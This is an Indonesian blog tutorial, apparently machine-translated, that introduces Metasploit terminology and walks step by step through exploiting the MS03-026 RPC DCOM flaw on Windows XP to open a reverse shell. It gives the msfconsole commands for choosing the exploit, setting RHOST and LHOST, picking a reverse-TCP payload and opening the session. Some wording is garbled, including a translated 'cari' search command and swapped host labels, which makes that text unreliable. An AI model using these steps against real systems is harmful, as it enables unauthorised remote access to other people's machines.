Meta Sploit testing windows xp ~ tombalaki.com

Dalam angsuran pertama saya dalam seri ini pada hacking tools profesional, kita download dan diinstal Metasploit, kerangka eksploitasi. Sekarang, kita akan mulai menjelajahi Framework Metasploit dan memulai hack mencoba dan benar.

Sebelum kita mulai hacking, mari kita membiasakan diri dengan Metasploit sehingga ketika saya menggunakan istilah tertentu, kita semua memahami mereka berarti hal yang sama. Ketika pertama kali melihat Metasploit Framework, dapat sedikit banyak dengan berbagai antarmuka, pilihan, utilitas, dan modul. Di sini kita akan mencoba untuk membuatnya dimengerti sehingga kita dapat mengeksekusi pertama kami mengeksploitasi.

Terminology

Terminologi berikut ini tidak hanya digunakan dalam Metasploit Framework, tetapi di seluruh profesional Hacking dan pengujian penetrasi masyarakat. Akibatnya, setiap profesional di bidang ini harus akrab dengan istilah-istilah ini dan dapat dengan jelas membedakan mereka.

Exploit

Eksploitasi adalah sarana yang penyerang mengambil keuntungan dari cacat atau kerentanan dalam jaringan, aplikasi, atau layanan. Hacker menggunakan cacat ini atau kerentanan dengan cara yang pengembang atau insinyur tidak pernah dimaksudkan, untuk mencapai hasil yang diinginkan (misalnya akses root). Beberapa eksploitasi yang lebih umum bahwa Anda mungkin sudah mendengar tentang adalah suntikan SQL, buffer overflows, dll

Payload

Sebuah payload adalah program atau kode yang dikirimkan ke sistem korban. Metasploit telah muatan pra-dibangun untuk tujuan ini termasuk dalam Meterpreter sangat berguna, atau Anda dapat mengembangkan sendiri. Payload ini dirancang untuk memberikan penyerang dengan beberapa kemampuan untuk mengelola atau memanipulasi sistem target untuk kebutuhan khusus mereka.

Shellcode

Ini adalah satu set instruksi yang digunakan sebagai payload ketika eksploitasi terjadi. Shellcode biasanya ditulis dalam bahasa assembly, tetapi belum tentu selalu. Ini disebut "shellcode" karena shell command atau perintah konsol lainnya disediakan untuk penyerang yang dapat digunakan untuk mengeksekusi perintah pada mesin korban.

Module

Modul adalah software yang dapat digunakan oleh Metasploit Framework. Modul ini yang dipertukarkan dan memberikan Metasploit kekuatan unik. Modul-modul ini dapat memanfaatkan modul atau modul tambahan.

Listener

Ini adalah komponen yang mendengarkan koneksi dari sistem hacker terhadap sistem target. Pendengar hanya menangani hubungan antara sistem ini.

Show

Metasploit Framework memiliki ratusan modul dan utilitas lain. Akibatnya, Anda tidak akan mampu mengingat mereka semua. Untungnya, perintah show dapat mengambil daftar semua modul, pilihan, target, dll dalam kerangka kerja Anda.

Sekarang bahwa kita memiliki dasar-dasar konsep Metasploit dan perintah ke bawah, mari kita hack sistem!

Langkah 1: Persiapan
Pertama, buka terminal di Linux.

Salah satu hacks yang paling dapat diandalkan adalah pada mana-mana sistem Windows XP dengan RPC DCOM. Ini adalah serangan buffer overflow yang memungkinkan penyerang untuk mengeksekusi kode pilihan mereka pada kotak yang dimiliki (perhatikan komentar Microsoft di bawah pengaruh kerentanan). Microsoft mengidentifikasi sebagai MS03-026 dalam database mereka kerentanan. Dalam kasus kami, kami akan menggunakannya untuk membuka reverse shell pada sistem target kami.

Buka konsol Metasploit.

msfconsole

Bersabarlah, dibutuhkan waktu untuk Metasploit untuk memuat semua modul-modulnya. Versi saat ini dari Metasploit memiliki 823 eksploitasi dan 250 muatan.
Langkah 2: Cari Exploit

Metasploit memungkinkan Anda untuk mencari dengan menggunakan perintah pencarian. Dalam kasus kami, kami sedang mencari DCOM mengeksploitasi, jadi kita cukup mengetik:

msf> cari DCOM

Langkah 3: Mengatur Eksploitasi

Sekarang mari kita katakan Metasploit apa mengeksploitasi kita ingin menggunakan. Ketik penggunaan dan nama kita mengeksploitasi, exploit/windows/dcerpc/ms03_026_dcom. msf > use exploit/windows/dcerpc/ms03_026_dcom

Note that the prompt has changed and now reflects our chosen exploit.

Langkah 4: Mengatur Options

Sekarang kita telah memilih kita mengeksploitasi, kita dapat meminta Metasploit apa pilihan kita. Dengan mengetik acara pilihan, Metasploit akan daftar pilihan kita dalam melaksanakan mengeksploitasi ini.msf > show options

Langkah 5: Set remote host

Metasploit sekarang akan meminta kami untuk RHOST. Ini akan menjadi alamat IP dari host remote atau mesin kita menyerang. Dalam kasus kami, itu 10.0.0.3. Gunakan alamat IP aktual dari mesin Anda menyerang. Alat seperti nmap dapat membantu dalam mengidentifikasi alamat IP dari mesin Anda menyerang. Perhatikan pada gambar di atas Metasploit yang memberitahu kita bahwa kita akan menggunakan (mengikat) port 135.msf > set RHOST 10.0.0.3

Langkah 6: Tampilkan Payloads

Selanjutnya, kita memeriksa untuk melihat apa muatan yang tersedia untuk mengeksploitasi ini. Jenis pertunjukan muatan pada prompt Metasploit:msf > show payloads

Langkah 7: Mengatur Payload

Sekarang kita dapat melihat apa muatan yang tersedia, kita dapat memilih generik / shell_reverse_tcp dengan menggunakan Metasploit konsol mengatur perintah. Jika berhasil, ini akan membuat remote shell pada sistem target yang bisa kita perintah.msf > set PAYLOAD generic/shell_reverse_tcp

Langkah 8: Mengatur Lokal Host

Sekarang kita telah memilih mengeksploitasi dan payload, kita perlu memberitahu Metasploit alamat IP mesin menyerang kami. Dalam contoh ini, sistem target kami memiliki alamat IP dari 10.0.0.6. Gunakan alamat IP yang sebenarnya dari sistem Anda menyerang. Alat nmap seperti itu, bisa membantu Anda mendapatkan alamat IP.msf > set LHOST 10.0.0.6

Langkah 9: Eksploitasi

Sekarang kita perintah Metasploit untuk mengeksploitasi sistem:msf > exploit

Langkah 10: Buka Shell tentang Sistem Hacked

Ketik perintah sessions –i 1 untuk membuka perintah shell pada sistem XP yang akan muncul di konsol Metasploit Anda.
sessions –i 1
Untuk mengkonfirmasi bahwa shell perintah pada sistem Windows XP, ketik dir untuk mendapatkan daftar direktori pada sistem Windows XP yang sekarang Anda sendiri!
C: >dir
Selamat! Anda baru saja meng-hack sistem pertama Anda menggunakan Metasploit!

Dalam pelajaran mendatang saya, kita akan melihat hacking sistem Linux dan memperkenalkan Anda dengan Meterpreter kuat, muatan milik Metasploit itu.

Oke Sekian :D

Berlanggan

Berlangganan posting: Daftarkan alamat email Anda untuk memperoleh umpan posting terbaru langsung ke kotak masuk pesan dari FajriAndaviar.